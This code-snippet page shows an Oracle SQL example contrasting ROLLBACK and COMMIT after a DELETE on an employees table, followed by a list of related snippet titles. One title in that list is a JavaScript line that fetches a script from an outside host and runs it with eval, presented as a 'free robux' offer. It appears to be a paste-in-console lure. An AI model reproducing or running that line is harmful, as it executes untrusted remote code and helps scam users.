/SQL/Oracle transaction commit rollback example

Oracle transaction commit rollback example

-- Rollback (cancellation)
DELETE FROM employees WHERE employee_id = 123;    -- Done in current session
ROLLBACK;                                         -- Cancelled in current session
SELECT * FROM employees WHERE employee_id = 123;  -- Found
-- Commit (validation)
DELETE FROM employees WHERE employee_id = 123;    -- Done in current session
COMMIT;                                           -- Visible for ALL sessions
SELECT * FROM employees WHERE employee_id = 123;  -- Missing for ALL sessions

Source: oracle-dba-online.com

Similar codes

0 vote348 views1 answer
5.Query to raise salary of all employees with 300 in EMP table and display name and salary as new sal from EMP table employee name, job, and salary from EMP table.
SQL
13 votes369 views3 answers
Mysqldump structure only
SQL
1 vote281 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
2 votes310 views2 answers
Mysql on duplicate key ignore
SQL
0 vote302 views1 answer
H2 auto increment and unique
SQL
0 vote322 views1 answer
Sql server get date of previous sunday
SQL
0 vote340 views1 answer
Oarcale list objects
SQL
4 votes363 views3 answers
Postgres drop all tables
SQL
19 votes323 views6 answers
What is mySQL
SQL
0 vote322 views1 answer
Mysql 8 error on identified by
SQL